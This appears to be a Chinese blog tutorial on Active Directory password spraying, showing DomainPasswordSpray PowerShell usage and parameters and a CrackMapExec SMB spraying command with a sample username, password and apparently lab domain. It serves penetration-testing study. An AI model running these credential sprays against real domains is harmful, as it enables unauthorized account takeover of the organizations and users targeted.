域渗透学习(Credentials篇)

密码喷洒 (Password Spraying)

在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题

DomainPasswordSpray 是用 PowerShell 编写的工具,用于对域用户执行密码喷洒攻击。默认情况下,它将利用 LDAP 从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒

1
2
Import-Module .\DomainPasswordSpray.ps1   #导入模块
Invoke-DomainPasswordSpray -Password <密码>

参数:

1
2
3
4
5
6
7
8
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

UserList - 可选的 UserList 参数。如果未指定,则会自动生成。
Password - 将使用一个密码来执行密码喷洒。
PasswordList - 每行一个密码列表,用于密码喷洒(要非常小心,不要锁定帐户)。
OutFile - 输出结果的文件。
Domain - 一个可以喷洒的域。
Force - 强制继续喷涂而不提示确认。

或者可以利用kali中的CrackMapExec(CME)来进行喷洒密码

1
proxychains4 crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#' -d xiaorang.lab 2>/dev/null


域渗透学习(Credentials篇)
https://www.dr0n.top/posts/e0ff8995/
作者
dr0n
发布于
2025年4月28日
更新于
2025年9月6日
许可协议